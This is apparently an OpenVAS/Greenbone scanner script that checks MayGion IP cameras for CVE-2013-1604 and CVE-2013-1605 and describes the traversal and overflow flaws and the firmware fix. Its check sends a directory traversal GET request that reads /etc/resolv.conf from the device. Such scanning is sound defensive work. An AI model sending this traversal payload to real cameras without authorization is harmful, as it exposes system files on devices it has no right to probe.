MayGion IP Cameras Multiple Vulnerabilities

# Copyright (C) 2013 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803774");
  script_version("2022-12-02T10:11:16+0000");
  script_cve_id("CVE-2013-1604", "CVE-2013-1605");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2022-12-02 10:11:16 +0000 (Fri, 02 Dec 2022)");
  script_tag(name:"creation_date", value:"2013-10-28 15:46:55 +0530 (Mon, 28 Oct 2013)");
  script_name("MayGion IP Cameras Multiple Vulnerabilities");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to gain access to
  information or cause a buffer overflow, resulting in a denial of service
  or potentially allowing the execution of arbitrary code.");
  script_tag(name:"vuldetect", value:"Send a crafted exploit string via HTTP GET request and check whether it
  is able to read the sensitive information or not.");
  script_tag(name:"insight", value:"- The flaw is due to the program not properly sanitizing user input,
   specifically directory traversal style attacks (e.g., ../../).

  - User-supplied input is not properly validated when handling a specially
   crafted GET request. This may allow a remote attacker to cause a buffer
   overflow, resulting in a denial of service or potentially allowing the
   execution of arbitrary code.");
  script_tag(name:"solution", value:"Upgrade to H.264 ipcam firmware 2013.04.22 or later.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"summary", value:"MayGion IP Camera is prone to multiple vulnerabilities.");
  script_tag(name:"affected", value:"MayGion IP cameras firmware version 2011.27.09");

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/May/194");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60192");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/60196");
  script_xref(name:"URL", value:"http://www.coresecurity.com/advisories/maygion-IP-cameras-multiple-vulnerabilities");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_maygion_ipcamera_detect.nasl");
  script_require_ports("Services/www", 81);
  script_mandatory_keys("maygion/ip_camera/detected");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");

CPE = "cpe:/a:maygion:ip_camera";

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE)) # nb: To have a reference to the Detection-VT
  exit(0);

req = 'GET /../../../../../../../../../etc/resolv.conf HTTP/1.1\r\n\r\n';
res = http_send_recv(port:port, data:req, bodyonly:FALSE);

if(res =~ "^HTTP/1\.[01] 200" && "nameserver" >< res &&
   "application/octet-stream" >< res) {
  security_message(port:port);
  exit(0);
}

exit(99);